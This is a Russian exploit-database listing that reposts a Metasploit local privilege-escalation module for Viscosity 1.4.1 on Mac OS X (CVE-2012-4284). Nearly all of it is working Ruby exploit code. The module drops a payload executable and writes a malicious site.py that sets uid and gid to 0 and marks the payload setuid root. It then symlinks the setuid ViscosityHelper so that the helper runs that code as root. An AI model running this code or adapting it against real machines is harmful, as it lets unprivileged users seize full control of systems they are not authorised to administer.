ViscosityHelper Privilege Escalation Exploit

Свойства

Дата публикации:
07.03.2013
Цель:
Viscosity 1.4.1
Тип воздействия:
Повышение привилегий

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local
    Rank = ExcellentRanking

    include Msf::Exploit::EXE
    include Msf::Post::File
    include Msf::Post::Common

    def initialize(info={})
        super( update_info( info, {
                'Name'           => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
                'Description'    => %q{
                        This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The
                    vulnerability exists in the setuid ViscosityHelper, where an insufficient
                    validation of path names allows execution of arbitrary python code as root.
                    This module has been tested successfully on Viscosity 1.4.1 over Mac OS X
                    10.7.5.
                },
                'References'     =>
                    [
                        [ 'CVE', '2012-4284' ],
                        [ 'OSVDB', '84709' ],
                        [ 'EDB', '20485' ],
                        [ 'URL', 'http://blog.zx2c4.com/791' ]
                    ],
                'License'        => MSF_LICENSE,
                'Author'         =>
                    [
                        'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
                        'juan vazquez'        # Metasploit module
                    ],
                'DisclosureDate' => 'Aug 12 2012',
                'Platform'       => 'osx',
                'Arch'           => [ ARCH_X86, ARCH_X64 ],
                'SessionTypes'   => [ 'shell' ],
                'Targets'        =>
                    [
                        [ 'Viscosity 1.4.1 / Mac OS X x86',    { 'Arch' => ARCH_X86 } ],
                        [ 'Viscosity 1.4.1 / Mac OS X x64',    { 'Arch' => ARCH_X64 } ]
                    ],
                'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
                'DefaultTarget' => 0
            }))
        register_options([
                # These are not OptPath becuase it's a *remote* path
                OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
                OptString.new("Viscosity",   [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
            ], self.class)
    end

    def check
        if not file?(datastore["Viscosity"])
            print_error "ViscosityHelper not found"
            return CheckCode::Safe
        end

        check = session.shell_command_token("find  #{datastore["Viscosity"]} -type f -user root -perm -4000")

        if check =~ /ViscosityHelper/
            return CheckCode::Vulnerable
        end

        return CheckCode::Safe
    end

    def clean
        file_rm(@link)
        file_rm(@python_file)
        file_rm("#{@python_file}c")
        file_rm(@exe_file)
    end

    def exploit

        exe_name = rand_text_alpha(8)
        @exe_file = "#{datastore["WritableDir"]}/#{exe_name}"
        print_status("Dropping executable #{@exe_file}")
        write_file(@exe_file, generate_payload_exe)

        evil_python =<<-EOF
import os
os.setuid(0)
os.setgid(0)
os.system("chown root #{@exe_file}")
os.system("chmod 6777 #{@exe_file}")
os.execl("#{@exe_file}", "#{exe_name}")
        EOF

        @python_file = "#{datastore["WritableDir"]}/site.py"
        print_status("Dropping python #{@python_file}...")
        write_file(@python_file, evil_python)

        print_status("Creating symlink...")
        link_name = rand_text_alpha(8)
        @link = "#{datastore["WritableDir"]}/#{link_name}"
        cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"

        print_status("Running...")
        begin
            cmd_exec "#{@link}"
        rescue
            print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
            clean
            return
        end
        print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
    end
end


или введите имя

CAPTCHA